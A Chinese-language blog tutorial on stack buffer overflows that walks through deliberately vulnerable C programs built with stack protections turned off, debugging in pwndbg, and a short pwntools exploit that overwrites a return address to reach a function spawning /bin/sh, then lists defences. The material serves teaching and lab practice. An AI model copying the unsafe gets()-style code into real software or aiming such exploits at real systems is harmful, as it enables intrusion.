二进制安全之栈溢出漏洞

二进制安全之栈溢出漏洞

原创 Cyb3rES3c Cyb3rES3c 2024-07-27 22:00

0x0声明

由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人承担,Cyb3rES3c及文章作者不承担任何责任。如有侵权烦请告知,我们将立即删除相关内容并致歉。请遵守《中华人民共和国个人信息保护法》、《中华人民共和国网络安全法》等相关法律法规。

0x1 漏洞原理

栈是一种后进先出(LIFO,Last In First Out)的数据结构,从高地址向低地址增长的内存结构。新添加的或待删除的元素都保存在栈的同一端,称为栈顶,另一端称为栈底。在栈中,新元素都靠近栈顶,旧元素都靠近栈底。在计算机中,栈被用来存储函数的局部变量、函数的参数以及函数调用的返回地址等信息。

栈溢出漏洞(Stack Overflow Vulnerability)指的是攻击者通过向栈中写入过多的数据,超过了这个变量本身所申请的字节数,从而覆盖了栈中其他的数据甚至覆盖了函数返回地址,进而实现任意代码执行的攻击。

与栈溢出漏洞相关的函数主要有:gets()、scanf()、strcpy()、read()等。

栈溢出漏洞的危害非常大,攻击者可以利用它执行任意代码,包括删除、修改、读取敏感数据,甚至控制整个系统。这种漏洞常被用于制造病毒、蠕虫等恶意软件,对网络安全构成严重威胁。

0x2相关知识

学习栈溢出漏洞必须要知道的两个寄存器:esp寄存器和ebp寄存器。esp寄存器是栈顶指针寄存器,其内存放着一个指针,该指针永远指向栈最上面一个栈帧的栈顶。在函数调用过程中,esp用于指向栈的栈顶。ebp寄存器是栈底指针寄存器(又称基址指针寄存器),其内存也放着一个指针,该指针永远指向栈最上面一个栈帧的底部。在函数调用过程中,ebp用于指向当前活动记录的顶部(即当前函数栈帧底部)。

函数调用栈

0x3vulCodeDemo01

这里有一段代码,主要功能是给变量output赋值,这段程序在第6行strcpy()函数处存在栈溢出漏洞

#include <stdio.h>
#include <string.h>

int main() {
  char output[6];
  strcpy(output, "123");
  printf("%s\n", output);
  return 0;
}

下面是正常的程序编译运行的过程

gcc -g -m32 -fno-stack-protector -no-pie -o vulDemo01 vulCodeDemo01.c

参数解释如下

-g: 保留调试信息,方便后面进行代码调试,默认是不带调试信息的
-m32: 编译为32位ELF文件,默认编译为64位的ELF文件
-fno-stack-protector: 关闭栈保护,默认是开启的
-no-pie: 关闭地址随机化,方便多次调试,默认是开启的

这里没有使用的参数
-z execstack
-z noexecstack
这两个是用来开启和关闭栈执行保护的,默认是开启栈执行保护的

使用pwndbg调试,在第7行设置断点

运行程序,字符串”123″被存储在0xffffd0fa地址处

查看栈空间

程序栈没有什么异常

继续运行程序,直到程序结束都没有异常情况

输入指定范围的字节数是没有问题的,但是
总有一些hacker不按照的设定的去做。如果是一段超过指定范围的字节数程序会不会正常执行呢?

修改代码,传入一段超长的字符串

不用管编译过程出现的问题

在第7行设置断点

运行之后发现程序出现了异常

栈空间被破坏了

发生了栈溢出

0x4vulCodeDemo02

这里有一段可利用的栈溢出漏洞程序

#include <stdio.h>
#include <string.h>

void flag() {
  puts("flag{y0u_are_s0_c1ever!}");
    system("/bin/sh");
}

void vul() {
  char s[12];
  printf("input password\n");
  gets(s);
  puts(s);
  return ;
}

int main() {
  vul();

  return 0;
}

在vul()函数中存在一个gets()函数,对输入也没有任何的过滤,存在栈溢出漏洞。在flag()函数中存在system(“/bin/sh”);这样一行代码,学pwn的都知道这行代码是很危险的,攻击者可以利用溢出漏洞执行这行代码,下面是调试和利用过程

和上面一样的操作,关闭相关的保护机制,编译报错不用管

使用pwndbg调试,在第13行puts()函数处设置断点

运行程序,输入字符串”aaaaaa”

字符串被存储在0xffffd0f4处

查看栈空间

寄存器ebp下面的地址(0xffffd10c)存储的是函数返回地址,这里是返回main()函数,如果想要执行命令就要利用溢出漏洞将这段地址存储的返回地址覆盖为flag()可利用函数的地址

计算字符串”aaaaaa”到ebp寄存器下面的地址的偏移量

偏移量为0x18

将ELF文件放入IDA中,寻找flag()函数的入口地址

flag函数入口地址为0x08049196

编写exp

from pwn import *

p = process('./vulDemo02')
startAddress = 0x08049196
payload = b'a' * 0x18 + p32(startAddress)
p.sendline(payload)
p.interactive()

这段代码是向漏洞程序发送一段字符串,溢出到ebp寄存器下面的一个地址,然后将函数返回地址修改为flag()函数的入口地址,vul()函数执行之后就调用了flag()函数

保证vulDemo02程序运行之后再运行exp

成功利用栈溢出漏洞调用目标函数去执行命令

0x5防御措施

为防止栈溢出漏洞的发生,开发人员和安全工程师可以采取以下措施:

1、输入验证:对用户的输入进行严格的验证和过滤,确保输入数据在合理的范围内,避免超出栈内存的限制。

2、
缓冲区溢出检测:使用专业的工具和技术对程序进行缓冲区溢出检测,及时发现并修复潜在的漏洞。

3、
使用栈保护机制:现代操作系统和编译器通常提供了栈保护机制,可以在一定程度上防止栈溢出攻击。

4、
代码审查:对程序代码进行定期的代码审查,及时发现并纠正潜在的错误和漏洞。

5、
使用安全的编程语言和框架:选择使用经过安全验证的编程语言和框架,可以减少栈溢出漏洞的风险。